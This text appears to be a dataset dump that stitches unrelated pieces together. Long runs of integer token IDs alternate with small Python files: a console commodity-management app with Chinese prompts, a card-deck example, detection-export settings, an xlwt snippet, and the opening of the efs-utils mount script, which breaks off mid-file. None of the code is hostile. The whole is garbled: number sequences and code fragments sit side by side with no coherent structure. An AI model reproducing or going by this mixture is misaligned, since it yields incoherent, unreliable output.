29892,
2143,
29918,
3149,
29918,
5975,
29897,
308,
13,
13,
4706,
25947,
29889,
5358,
580,
13,
13,
4706,
396,
29907,
14044,
786,
13,
4706,
2897,
29889,
5992,
29898,
29879,
1615,
29889,
9507,
29897,
13,
4706,
2897,
29889,
5992,
29898,
16485,
1445,
29897,
13,
13,
13,
13,
1678,
822,
1243,
29918,
29879,
1615,
29906,
16485,
29918,
1760,
1007,
29879,
29918,
311,
29900,
29898,
1311,
1125,
13,
4706,
9995,
3057,
393,
269,
1615,
2472,
508,
367,
11543,
5149,
304,
282,
1372,
848,
472,
6790,
10350,
13,
4706,
448,
297,
445,
1206,
29892,
278,
1644,
1007,
29879,
29889,
13,
4706,
9995,
13,
13,
4706,
1053,
931,
29892,
2897,
13,
4706,
515,
385,
26281,
29889,
1445,
29889,
1212,
29883,
2176,
1053,
12670,
29907,
4037,
2283,
13,
4706,
396,
501,
8485,
363,
3291,
393,
3804,
5377,
27716,
13,
4706,
11698,
14573,
29918,
1767,
353,
29871,
29896,
29955,
29945,
29947,
29941,
29906,
29941,
13,
13,
4706,
396,
3789,
786,
13,
4706,
515,
385,
26281,
29889,
16595,
29918,
29906,
29881,
29918,
18925,
29918,
1555,
9351,
29889,
4467,
29882,
29918,
14399,
1053,
7705,
6825,
13,
13,
4706,
396,
6204,
4091,
340,
4094,
5354,
13,
4706,
5354,
353,
28460,
10456,
1621,
6825,
29898,
29906,
29892,
29871,
29906,
876,
13,
13,
4706,
350,
353,
4103,
9894,
573,
29918,
9917,
653,
29898,
7247,
29897,
13,
4706,
5354,
29889,
842,
29918,
9917,
653,
29898,
11117,
1563,
2396,
350,
29892,
525,
1266,
2396,
350,
29892,
525,
3332,
2396,
350,
29892,
525,
8968,
2396,
350,
1800,
13,
13,
4706,
5354,
29889,
842,
29918,
978,
877,
4130,
271,
342,
29918,
311,
29900,
1495,
13,
13,
4706,
282,
1372,
1445,
353,
5354,
29889,
657,
29918,
978,
580,
718,
22868,
29872,
2608,
362,
29889,
16485,
29915,
13,
4706,
269,
1615,
1445,
353,
5354,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
29915,
13,
13,
4706,
5354,
29889,
842,
29918,
4130,
328,
381,
12839,
1495,
13,
4706,
5354,
29889,
4830,
353,
525,
29879,
1615,
29915,
13,
4706,
5354,
29889,
842,
29918,
22640,
877,
29872,
2608,
362,
742,
14013,
921,
29892,
29891,
29901,
448,
29916,
29899,
29891,
29897,
13,
13,
4706,
5354,
29889,
24756,
29918,
5679,
353,
1879,
29877,
29918,
5679,
29898,
29945,
29953,
29892,
29941,
29900,
29947,
29945,
29900,
29900,
29892,
29953,
29896,
29947,
29929,
29900,
29900,
29900,
29897,
13,
13,
4706,
269,
1615,
353,
25289,
29956,
29918,
1445,
29898,
7247,
29897,
13,
4706,
269,
1615,
29889,
8899,
29918,
6915,
2068,
580,
13,
4706,
269,
1615,
29889,
8899,
29918,
9346,
342,
1022,
580,
13,
13,
4706,
396,
1311,
29889,
7247,
29889,
29873,
523,
29918,
29879,
417,
412,
29918,
13400,
414,
353,
29871,
29896,
13,
4706,
5354,
29889,
29872,
1555,
345,
29918,
517,
29918,
355,
29898,
8394,
2230,
353,
29871,
29900,
29889,
29900,
29896,
29897,
13,
4706,
269,
1615,
29889,
8899,
29918,
9346,
342,
1022,
580,
13,
13,
4706,
396,
5399,
8118,
297,
12670,
29907,
4037,
13,
4706,
25947,
353,
12670,
29907,
4037,
2283,
29898,
29879,
1615,
29889,
9507,
29892,
302,
7070,
2176,
29918,
8513,
29918,
29878,
29897,
13,
13,
4706,
396,
3617,
278,
3651,
13,
4706,
921,
353,
25947,
29889,
20897,
1839,
29916,
2033,
7503,
29962,
13,
4706,
343,
353,
25947,
29889,
20897,
1839,
29891,
2033,
7503,
29962,
13,
4706,
11858,
362,
353,
25947,
29889,
20897,
1839,
29872,
2608,
362,
2033,
7503,
29962,
13,
4706,
931,
353,
25947,
29889,
20897,
1839,
2230,
2033,
7503,
29962,
13,
4706,
7408,
353,
25947,
29889,
20897,
1839,
19190,
2033,
7503,
29962,
13,
13,
4706,
18167,
353,
25947,
29889,
20897,
1839,
1555,
9351,
2033,
7503,
29962,
13,
13,
13,
4706,
396,
512,
5744,
29694,
363,
12688,
3291,
4706,
13,
4706,
3291,
353,
954,
29889,
535,
29883,
2579,
403,
29898,
313,
29916,
7503,
29892,
1949,
29889,
1482,
8990,
1402,
29891,
7503,
29892,
1949,
29889,
1482,
8990,
11724,
9685,
29922,
29896,
1723,
13,
4706,
3291,
353,
954,
29889,
294,
1285,
5526,
681,
2378,
29898,
9748,
29897,
13,
4706,
269,
1615,
29906,
16485,
29898,
7247,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
742,
13,
18884,
14728,
353,
525,
29872,
2608,
362,
742,
13,
18884,
848,
29918,
9748,
353,
3291,
29892,
13,
18884,
11698,
14573,
29918,
1767,
353,
11698,
14573,
29918,
1767,
29897,
13,
4706,
2143,
29918,
3149,
29918,
5975,
353,
11858,
362,
13,
4706,
1298,
29918,
5975,
353,
1879,
4705,
15238,
29918,
1272,
29898,
16485,
1445,
467,
657,
29918,
15697,
580,
13,
4706,
396,
2158,
525,
29925,
742,
1298,
29918,
5975,
13,
4706,
396,
2158,
525,
5620,
742,
2143,
29918,
3149,
29918,
5975,
308,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
3149,
29918,
5975,
29892,
2143,
29918,
3149,
29918,
5975,
29897,
308,
13,
13,
13,
13,
4706,
396,
512,
5744,
29694,
363,
1644,
1007,
29879,
13,
4706,
3291,
353,
5354,
29889,
657,
29918,
1760,
1007,
29918,
1111,
24266,
580,
13,
4706,
396,
2158,
3291,
13,
4706,
269,
1615,
29906,
16485,
29898,
7247,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
742,
13,
18884,
14728,
353,
525,
29872,
2608,
362,
742,
13,
18884,
848,
29918,
9748,
353,
3291,
29892,
13,
18884,
11698,
14573,
29918,
1767,
353,
11698,
14573,
29918,
1767,
29897,
13,
4706,
396,
999,
29918,
3149,
29918,
5975,
353,
21069,
29900,
29889,
29945,
29892,
448,
29900,
29889,
29945,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29889,
29945,
29892,
448,
29896,
29889,
29945,
29962,
259,
396,
4178,
1644,
1007,
29879,
13,
13,
4706,
2143,
29918,
3149,
29918,
5975,
353,
21069,
29900,
29889,
29955,
29955,
29955,
29955,
29955,
29955,
29955,
29955,
29892,
448,
29900,
29889,
29955,
29955,
29955,
29955,
29955,
29955,
29955,
29955,
29892,
448,
29900,
29889,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29947,
29892,
448,
29900,
29889,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29947,
29892,
29871,
13,
462,
632,
448,
29900,
29889,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29947,
29892,
448,
29900,
29889,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29947,
29892,
448,
29896,
29889,
29906,
29906,
29906,
29906,
29906,
29906,
29906,
29896,
29892,
448,
29896,
29889,
29906,
29906,
29906,
29906,
29906,
29906,
29906,
29896,
29962,
13,
4706,
1298,
29918,
5975,
353,
1879,
4705,
15238,
29918,
1272,
29898,
16485,
1445,
467,
657,
29918,
15697,
580,
13,
4706,
396,
2158,
525,
29925,
742,
1298,
29918,
5975,
13,
4706,
396,
2158,
525,
5620,
742,
2143,
29918,
3149,
29918,
5975,
308,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
3149,
29918,
5975,
29892,
2143,
29918,
3149,
29918,
5975,
29897,
308,
13,
13,
4706,
25947,
29889,
5358,
580,
13,
13,
4706,
396,
29907,
14044,
786,
13,
4706,
2897,
29889,
5992,
29898,
29879,
1615,
29889,
9507,
29897,
13,
4706,
2897,
29889,
5992,
29898,
16485,
1445,
29897,
13,
13,
29937,
2683,
2683,
2683,
9072,
29899,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
9460,
353,
443,
27958,
29889,
5675,
5091,
568,
29898,
3057,
29918,
29906,
29925,
1372,
29892,
525,
1688,
29918,
1495,
13,
1678,
28877,
353,
443,
27958,
29889,
1626,
3057,
16802,
580,
396,
18248,
359,
537,
29922,
29906,
29897,
13,
1678,
28877,
29889,
3389,
29898,
13495,
29897,
268,
13,
2
] |
1-mouth01/project_month01/exe01.py | gary-gggggg/gary | 4 | 146119 | <filename>1-mouth01/project_month01/exe01.py<gh_stars>1-10
class CommodityModel:
def __init__(self, cid=0, name="", price=0, cm=0):
self.cid = cid
self.name = name
self.price = price
self.cm = cm
def __str__(self):
return f"商品名称是{self.name},编号是{self.cid},价格是{self.price},识别码是{self.cm}"
def __eq__(self, other):
return self.cm == other.cm
class CommodityView:
def __init__(self):
self.__controller = CommodityController()
def __display_veiw_menu(self):
print("按1键录入商品信息")
print("按2键显示商品信息")
print("按3键删除商品信息")
print("按4键修改商品信息")
def __select_menu(self):
giao = int(input("请输入按键"))
if giao == 1:
self.__input_commodity_info()
elif giao == 2:
self.__display_commodity_info()
elif giao == 3:
self.__remove_commodity_info()
elif giao == 4:
self.__update_commodity_info()
def __input_commodity_info(self):
ccm = CommodityModel()
ccm.name = input("请输入商品名称:")
ccm.price = int(input("请输入商品价格:"))
ccm.cid = int(input("请输入商品编号:"))
self.__controller.addto_datebase_of_Commodityinfo(ccm)
print("成功!!!")
def main(self):
while 1:
self.__display_veiw_menu()
self.__select_menu()
def __display_commodity_info(self):
for i in self.__controller.list_of_commodity:
print(i)
def __remove_commodity_info(self):
cm = int(input("请输入您要删除的商品的商品识别码:"))
if self.__controller.removed_info(cm):
print("删除成功")
else:
print("删除失败")
def __update_commodity_info(self):
ccm = CommodityModel()
ccm.cm = int(input("请输入您需要修改的商品的编号:"))
ccm.cid = input("请输入商品编号")
ccm.name = input("请输入商名称")
ccm.price = input("请输入商品价格")
if self.__controller.update_info(ccm):
print("修改成功")
else:
print("修改失败")
class CommodityController:
def __init__(self):
self.__list_of_commodity = []
self.number_of_cm = 1000
@property
def list_of_commodity(self):
return self.__list_of_commodity
def addto_datebase_of_Commodityinfo(self, comdity_info):
comdity_info.cm = self.number_of_cm
self.number_of_cm += 1
self.__list_of_commodity.append(comdity_info)
def removed_info(self, cm):
cm1 = CommodityModel(cm=cm)
if cm1 in self.__list_of_commodity:
self.__list_of_commodity.remove(cm1)
return True
else:
return False
def update_info(self, ccm):
for i in self.__list_of_commodity:
if i.cm == ccm.cm:
i.__dict__ = ccm.__dict__
return True
return False
v = CommodityView()
v.main()
| [
1,
529,
9507,
29958,
29896,
29899,
21026,
29900,
29896,
29914,
4836,
29918,
10874,
29900,
29896,
29914,
8097,
29900,
29896,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
1990,
422,
1545,
537,
3195,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
274,
333,
29922,
29900,
29892,
1024,
543,
613,
8666,
29922,
29900,
29892,
7477,
29922,
29900,
1125,
13,
4706,
1583,
29889,
25232,
353,
274,
333,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
4706,
1583,
29889,
9175,
353,
8666,
13,
4706,
1583,
29889,
4912,
353,
7477,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
285,
29908,
31427,
31399,
30548,
31685,
30392,
29912,
1311,
29889,
978,
29913,
30214,
31795,
30850,
30392,
29912,
1311,
29889,
25232,
29913,
30214,
231,
190,
186,
31168,
30392,
29912,
1311,
29889,
9175,
29913,
30214,
235,
178,
137,
232,
139,
174,
31183,
30392,
29912,
1311,
29889,
4912,
5038,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
1125,
13,
4706,
736,
1583,
29889,
4912,
1275,
916,
29889,
4912,
13,
13,
13,
1990,
422,
1545,
537,
1043,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
17255,
8299,
353,
422,
1545,
537,
2956,
580,
13,
13,
1678,
822,
4770,
4990,
29918,
345,
9429,
29918,
6510,
29898,
1311,
1125,
13,
4706,
1596,
703,
31590,
29896,
236,
151,
177,
31283,
30752,
31427,
31399,
30689,
31021,
1159,
13,
4706,
1596,
703,
31590,
29906,
236,
151,
177,
31542,
30858,
31427,
31399,
30689,
31021,
1159,
13,
4706,
1596,
703,
31590,
29941,
236,
151,
177,
31916,
31152,
31427,
31399,
30689,
31021,
1159,
13,
4706,
1596,
703,
31590,
29946,
236,
151,
177,
31273,
31264,
31427,
31399,
30689,
31021,
1159,
13,
13,
1678,
822,
4770,
2622,
29918,
6510,
29898,
1311,
1125,
13,
4706,
330,
29653,
353,
938,
29898,
2080,
703,
31088,
31573,
30752,
31590,
236,
151,
177,
5783,
13,
4706,
565,
330,
29653,
1275,
29871,
29896,
29901,
13,
9651,
1583,
17255,
2080,
29918,
510,
1545,
537,
29918,
3888,
580,
13,
4706,
25342,
330,
29653,
1275,
29871,
29906,
29901,
13,
9651,
1583,
17255,
4990,
29918,
510,
1545,
537,
29918,
3888,
580,
13,
4706,
25342,
330,
29653,
1275,
29871,
29941,
29901,
13,
9651,
1583,
17255,
5992,
29918,
510,
1545,
537,
29918,
3888,
580,
13,
4706,
25342,
330,
29653,
1275,
29871,
29946,
29901,
13,
9651,
1583,
17255,
5504,
29918,
510,
1545,
537,
29918,
3888,
580,
13,
13,
1678,
822,
4770,
2080,
29918,
510,
1545,
537,
29918,
3888,
29898,
1311,
1125,
13,
4706,
274,
4912,
353,
422,
1545,
537,
3195,
580,
13,
4706,
274,
4912,
29889,
978,
353,
1881,
703,
31088,
31573,
30752,
31427,
31399,
30548,
31685,
29901,
1159,
13,
4706,
274,
4912,
29889,
9175,
353,
938,
29898,
2080,
703,
31088,
31573,
30752,
31427,
31399,
231,
190,
186,
31168,
29901,
5783,
13,
4706,
274,
4912,
29889,
25232,
353,
938,
29898,
2080,
703,
31088,
31573,
30752,
31427,
31399,
31795,
30850,
29901,
5783,
13,
4706,
1583,
17255,
8299,
29889,
1202,
517,
29918,
1256,
3188,
29918,
974,
29918,
1523,
1545,
537,
3888,
29898,
617,
29885,
29897,
13,
4706,
1596,
703,
30494,
31134,
30584,
30584,
30584,
1159,
13,
13,
1678,
822,
1667,
29898,
1311,
1125,
13,
4706,
1550,
29871,
29896,
29901,
13,
9651,
1583,
17255,
4990,
29918,
345,
9429,
29918,
6510,
580,
13,
9651,
1583,
17255,
2622,
29918,
6510,
580,
13,
13,
1678,
822,
4770,
4990,
29918,
510,
1545,
537,
29918,
3888,
29898,
1311,
1125,
13,
4706,
363,
474,
297,
1583,
17255,
8299,
29889,
1761,
29918,
974,
29918,
510,
1545,
537,
29901,
13,
9651,
1596,
29898,
29875,
29897,
13,
13,
1678,
822,
4770,
5992,
29918,
510,
1545,
537,
29918,
3888,
29898,
1311,
1125,
13,
4706,
7477,
353,
938,
29898,
2080,
703,
31088,
31573,
30752,
233,
133,
171,
30698,
31916,
31152,
30210,
31427,
31399,
30210,
31427,
31399,
235,
178,
137,
232,
139,
174,
31183,
30383,
5783,
13,
4706,
565,
1583,
17255,
8299,
29889,
1745,
8238,
29918,
3888,
29898,
4912,
1125,
13,
9651,
1596,
703,
31916,
31152,
30494,
31134,
1159,
13,
4706,
1683,
29901,
13,
9651,
1596,
703,
31916,
31152,
31369,
31955,
1159,
13,
13,
1678,
822,
4770,
5504,
29918,
510,
1545,
537,
29918,
3888,
29898,
1311,
1125,
13,
4706,
274,
4912,
353,
422,
1545,
537,
3195,
580,
13,
4706,
274,
4912,
29889,
4912,
353,
938,
29898,
2080,
703,
31088,
31573,
30752,
233,
133,
171,
31383,
30698,
31273,
31264,
30210,
31427,
31399,
30210,
31795,
30850,
30383,
5783,
13,
4706,
274,
4912,
29889,
25232,
353,
1881,
703,
31088,
31573,
30752,
31427,
31399,
31795,
30850,
1159,
13,
4706,
274,
4912,
29889,
978,
353,
1881,
703,
31088,
31573,
30752,
31427,
30548,
31685,
1159,
13,
4706,
274,
4912,
29889,
9175,
353,
1881,
703,
31088,
31573,
30752,
31427,
31399,
231,
190,
186,
31168,
1159,
13,
4706,
565,
1583,
17255,
8299,
29889,
5504,
29918,
3888,
29898,
617,
29885,
1125,
13,
9651,
1596,
703,
31273,
31264,
30494,
31134,
1159,
13,
4706,
1683,
29901,
13,
9651,
1596,
703,
31273,
31264,
31369,
31955,
1159,
13,
13,
13,
1990,
422,
1545,
537,
2956,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
353,
5159,
13,
4706,
1583,
29889,
4537,
29918,
974,
29918,
4912,
353,
29871,
29896,
29900,
29900,
29900,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1051,
29918,
974,
29918,
510,
1545,
537,
29898,
1311,
1125,
13,
4706,
736,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
13,
13,
1678,
822,
788,
517,
29918,
1256,
3188,
29918,
974,
29918,
1523,
1545,
537,
3888,
29898,
1311,
29892,
419,
29881,
537,
29918,
3888,
1125,
13,
4706,
419,
29881,
537,
29918,
3888,
29889,
4912,
353,
1583,
29889,
4537,
29918,
974,
29918,
4912,
13,
4706,
1583,
29889,
4537,
29918,
974,
29918,
4912,
4619,
29871,
29896,
13,
4706,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
29889,
4397,
29898,
510,
29881,
537,
29918,
3888,
29897,
13,
13,
1678,
822,
6206,
29918,
3888,
29898,
1311,
29892,
7477,
1125,
13,
4706,
7477,
29896,
353,
422,
1545,
537,
3195,
29898,
4912,
29922,
4912,
29897,
13,
4706,
565,
7477,
29896,
297,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
29901,
13,
9651,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
29889,
5992,
29898,
4912,
29896,
29897,
13,
9651,
736,
5852,
13,
4706,
1683,
29901,
13,
9651,
736,
7700,
13,
13,
1678,
822,
2767,
29918,
3888,
29898,
1311,
29892,
274,
4912,
1125,
13,
4706,
363,
474,
297,
1583,
17255,
1761,
29918,
974,
29918,
510,
1545,
537,
29901,
13,
9651,
565,
474,
29889,
4912,
1275,
274,
4912,
29889,
4912,
29901,
13,
18884,
474,
17255,
8977,
1649,
353,
274,
4912,
17255,
8977,
1649,
13,
18884,
736,
5852,
13,
9651,
736,
7700,
13,
13,
13,
29894,
353,
422,
1545,
537,
1043,
580,
13,
29894,
29889,
3396,
580,
13,
2
] |
examples/simple.py | tomamore/AnyDeck | 0 | 50405 | from anydeck import AnyDeck
# Create a default deck
# A default deck consists of a standard deck of poker cards with four suits with cards numbered 2 through 10, as well
# as a Jack, Queen, King, and Ace for each suit. The standard deck gives a value to the card equal to their
# face value further Jack, Queen, and King have a value of 10 and Ace has a value of 11.
cards = AnyDeck()
# Draw a card from the top (the default for a draw)
card = cards.draw()
# Print the card
print(f'{card.face} of {card.suit}')
# Draw a card from the bottom
card = cards.draw(position='bottom')
# Print the card
print(f'{card.face} of {card.suit}')
# Recreate a new standard deck; this time shuffled
cards = AnyDeck(shuffled=True)
# Draw a card from the top
card = cards.draw()
# Print the card
print(f'{card.face} of {card.suit}')
# Draw another card from the top
card = cards.draw()
# Print the card
print(f'{card.face} of {card.suit}')
| [
1,
515,
738,
16565,
1053,
3139,
2772,
384,
13,
13,
29937,
6204,
263,
2322,
19810,
13,
29937,
319,
2322,
19810,
11624,
310,
263,
3918,
19810,
310,
11293,
261,
15889,
411,
3023,
480,
1169,
411,
15889,
1353,
287,
29871,
29906,
1549,
29871,
29896,
29900,
29892,
408,
1532,
13,
29937,
408,
263,
5457,
29892,
10470,
29892,
4088,
29892,
322,
319,
346,
363,
1269,
14726,
29889,
450,
3918,
19810,
4076,
263,
995,
304,
278,
5881,
5186,
304,
1009,
13,
29937,
3700,
995,
4340,
5457,
29892,
10470,
29892,
322,
4088,
505,
263,
995,
310,
29871,
29896,
29900,
322,
319,
346,
756,
263,
995,
310,
29871,
29896,
29896,
29889,
13,
28160,
353,
3139,
2772,
384,
580,
13,
13,
29937,
18492,
263,
5881,
515,
278,
2246,
313,
1552,
2322,
363,
263,
4216,
29897,
13,
7543,
353,
15889,
29889,
4012,
580,
13,
13,
29937,
13905,
278,
5881,
13,
2158,
29898,
29888,
29915,
29912,
7543,
29889,
2161,
29913,
310,
426,
7543,
29889,
29658,
29913,
1495,
13,
13,
29937,
18492,
263,
5881,
515,
278,
5970,
13,
7543,
353,
15889,
29889,
4012,
29898,
3283,
2433,
8968,
1495,
13,
13,
29937,
13905,
278,
5881,
13,
2158,
29898,
29888,
29915,
29912,
7543,
29889,
2161,
29913,
310,
426,
7543,
29889,
29658,
29913,
1495,
13,
13,
13,
29937,
3599,
3015,
263,
716,
3918,
19810,
29936,
445,
931,
528,
3096,
839,
13,
28160,
353,
3139,
2772,
384,
29898,
845,
3096,
839,
29922,
5574,
29897,
13,
13,
29937,
18492,
263,
5881,
515,
278,
2246,
13,
7543,
353,
15889,
29889,
4012,
580,
13,
13,
29937,
13905,
278,
5881,
13,
2158,
29898,
29888,
29915,
29912,
7543,
29889,
2161,
29913,
310,
426,
7543,
29889,
29658,
29913,
1495,
13,
13,
29937,
18492,
1790,
5881,
515,
278,
2246,
13,
7543,
353,
15889,
29889,
4012,
580,
13,
13,
29937,
13905,
278,
5881,
13,
2158,
29898,
29888,
29915,
29912,
7543,
29889,
2161,
29913,
310,
426,
7543,
29889,
29658,
29913,
1495,
13,
2
] |
data-exporter/brix/settings.py | dzwiedziu-nkg/credo-api-tools | 0 | 35066 | <reponame>dzwiedziu-nkg/credo-api-tools
import csv
DIR = 'credo-data-export/detections'
CSV = 'credo-data-export/credocut.tsv'
PLOT = 'credo-data-export/credocut.plot'
JSON = 'credo-data-export/credocut.json'
DEVICES = 'credo-data-export/device_mapping.json'
PNG = 'credo-data-export/png'
CREDOCUT = 10069
DELIMITER='\t'
QUOTECHAR='"'
QUOTING=csv.QUOTE_MINIMAL
COLUMNS = [
'id',
'user_id',
'device_id',
'team_id',
'width',
'height',
'x',
'y',
'latitude',
'longitude',
'altitude',
'accuracy',
'provider',
'source',
'time_received',
'timestamp',
'visible',
'frame_content'
]
TSV_COLUMNS = {}
for i in range(0, len(COLUMNS)):
TSV_COLUMNS[COLUMNS[i]] = i
BLACKLIST = set()
| [
1,
529,
276,
1112,
420,
29958,
5601,
29893,
1000,
2526,
29884,
29899,
29876,
9415,
29914,
1037,
1867,
29899,
2754,
29899,
8504,
13,
5215,
11799,
13,
13,
9464,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
29881,
2650,
1953,
29915,
13,
29907,
7597,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
1037,
1514,
329,
29889,
1372,
29894,
29915,
13,
7390,
2891,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
1037,
1514,
329,
29889,
5317,
29915,
13,
7249,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
1037,
1514,
329,
29889,
3126,
29915,
13,
2287,
29963,
2965,
2890,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
10141,
29918,
20698,
29889,
3126,
29915,
13,
29925,
9312,
353,
525,
1037,
1867,
29899,
1272,
29899,
15843,
29914,
2732,
29915,
13,
22245,
28665,
2692,
353,
29871,
29896,
29900,
29900,
29953,
29929,
13,
13,
2287,
5265,
26349,
1001,
2433,
29905,
29873,
29915,
13,
13356,
2891,
29923,
11282,
2433,
29908,
29915,
13,
13356,
2891,
4214,
29922,
7638,
29889,
13356,
2891,
29923,
29918,
16173,
2260,
29931,
13,
13,
15032,
5005,
3059,
353,
518,
13,
1678,
525,
333,
742,
13,
1678,
525,
1792,
29918,
333,
742,
13,
1678,
525,
10141,
29918,
333,
742,
13,
1678,
525,
14318,
29918,
333,
742,
13,
1678,
525,
2103,
742,
13,
1678,
525,
3545,
742,
13,
1678,
525,
29916,
742,
13,
1678,
525,
29891,
742,
13,
1678,
525,
5066,
4279,
742,
13,
1678,
525,
5426,
4279,
742,
13,
1678,
525,
1997,
4279,
742,
13,
1678,
525,
562,
2764,
4135,
742,
13,
1678,
525,
18121,
742,
13,
1678,
525,
4993,
742,
13,
1678,
525,
2230,
29918,
13556,
2347,
742,
13,
1678,
525,
16394,
742,
13,
1678,
525,
12872,
742,
13,
1678,
525,
2557,
29918,
3051,
29915,
13,
29962,
13,
13,
29911,
7597,
29918,
15032,
5005,
3059,
353,
6571,
13,
1454,
474,
297,
3464,
29898,
29900,
29892,
7431,
29898,
15032,
5005,
3059,
22164,
13,
1678,
323,
7597,
29918,
15032,
5005,
3059,
29961,
15032,
5005,
3059,
29961,
29875,
5262,
353,
474,
13,
13,
13367,
11375,
24360,
353,
731,
580,
13,
2
] |
python/python.py | TimVan1596/ACM-ICPC | 1 | 38367 | import xlwt
if __name__ == '__main__':
workbook = xlwt.Workbook(encoding='utf-8') # 创建workbook 对象
worksheet = workbook.add_sheet('sheet1') # 创建工作表sheet
# 往表中写内容,第一各参数 行,第二个参数列,第三个参数内容
worksheet.write(0, 0, 'hello world')
worksheet.write(0, 1, '你好')
workbook.save('first.xls') # 保存表为students.xls
| [
1,
1053,
921,
29880,
14554,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
664,
2909,
353,
921,
29880,
14554,
29889,
26501,
29898,
22331,
2433,
9420,
29899,
29947,
1495,
29871,
396,
29871,
31441,
30886,
1287,
2909,
29871,
30783,
31133,
13,
1678,
1736,
4155,
353,
664,
2909,
29889,
1202,
29918,
9855,
877,
9855,
29896,
1495,
29871,
396,
29871,
31441,
30886,
31041,
30732,
30746,
9855,
13,
1678,
396,
29871,
232,
193,
131,
30746,
30275,
31479,
30728,
31294,
29892,
30622,
30287,
232,
147,
135,
31125,
30354,
29871,
30448,
29892,
30622,
30685,
30502,
31125,
30354,
31025,
29892,
30622,
30457,
30502,
31125,
30354,
30728,
31294,
13,
1678,
1736,
4155,
29889,
3539,
29898,
29900,
29892,
29871,
29900,
29892,
525,
12199,
3186,
1495,
13,
1678,
1736,
4155,
29889,
3539,
29898,
29900,
29892,
29871,
29896,
29892,
525,
30919,
31076,
1495,
13,
1678,
664,
2909,
29889,
7620,
877,
4102,
29889,
20267,
1495,
29871,
396,
29871,
30982,
30946,
30746,
30573,
18082,
1237,
29889,
20267,
13,
2
] |
src/mount_efs/__init__.py | Sodki/efs-utils | 0 | 3899 | #!/usr/bin/env python
#
# Copyright 2017-2018 Amazon.com, Inc. and its affiliates. All Rights Reserved.
#
# Licensed under the MIT License. See the LICENSE accompanying this file
# for the specific language governing permissions and limitations under
# the License.
#
#
# Copy this script to /sbin/mount.efs and make sure it is executable.
#
# You will be able to mount an EFS file system by its short name, by adding it
# to /etc/fstab. The syntax of an fstab entry is:
#
# [Device] [Mount Point] [File System Type] [Options] [Dump] [Pass]
#
# Add an entry like this:
#
# fs-deadbeef /mount_point efs _netdev 0 0
#
# Using the 'efs' type will cause '/sbin/mount.efs' to be called by 'mount -a'
# for this file system. The '_netdev' option tells the init system that the
# 'efs' type is a networked file system type. This has been tested with systemd
# (Amazon Linux 2, CentOS 7, RHEL 7, Debian 9, and Ubuntu 16.04), and upstart
# (Amazon Linux 2017.09).
#
# Once there is an entry in fstab, the file system can be mounted with:
#
# sudo mount /mount_point
#
# The script will add recommended mount options, if not provided in fstab.
import base64
import errno
import hashlib
import hmac
import json
import logging
import os
import pwd
import random
import re
import socket
import subprocess
import sys
import threading
import time
from contextlib import contextmanager
from datetime import datetime, timedelta
from logging.handlers import RotatingFileHandler
try:
import ConfigParser
from ConfigParser import NoOptionError, NoSectionError
except ImportError:
from configparser import ConfigParser, NoOptionError, NoSectionError
try:
from urllib.parse import quote_plus
except ImportError:
from urllib import quote_plus
try:
from urllib2 import URLError, HTTPError, build_opener, urlopen, Request, HTTPHandler
from urllib import urlencode
except ImportError:
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
from urllib.parse import urlencode
try:
import botocore.session
from botocore.exceptions import ClientError, NoCredentialsError, EndpointConnectionError
BOTOCORE_PRESENT = True
except ImportError:
BOTOCORE_PRESENT = False
VERSION = '1.28.2'
SERVICE = 'elasticfilesystem'
CONFIG_FILE = '/etc/amazon/efs/efs-utils.conf'
CONFIG_SECTION = 'mount'
CLIENT_INFO_SECTION = 'client-info'
CLIENT_SOURCE_STR_LEN_LIMIT = 100
CLOUDWATCH_LOG_SECTION = 'cloudwatch-log'
DEFAULT_CLOUDWATCH_LOG_GROUP = '/aws/efs/utils'
DEFAULT_RETENTION_DAYS = 14
# Cloudwatchlog agent dict includes cloudwatchlog botocore client, cloudwatchlog group name, cloudwatchlog stream name
CLOUDWATCHLOG_AGENT = None
LOG_DIR = '/var/log/amazon/efs'
LOG_FILE = 'mount.log'
STATE_FILE_DIR = '/var/run/efs'
PRIVATE_KEY_FILE = '/etc/amazon/efs/privateKey.pem'
DATE_ONLY_FORMAT = '%Y%m%d'
SIGV4_DATETIME_FORMAT = '%Y%m%dT%H%M%SZ'
CERT_DATETIME_FORMAT = '%y%m%d%H%M%SZ'
AWS_CREDENTIALS_FILE = os.path.expanduser(os.path.join('~' + pwd.getpwuid(os.getuid()).pw_name, '.aws', 'credentials'))
AWS_CONFIG_FILE = os.path.expanduser(os.path.join('~' + pwd.getpwuid(os.getuid()).pw_name, '.aws', 'config'))
CA_CONFIG_BODY = """dir = %s
RANDFILE = $dir/database/.rand
[ ca ]
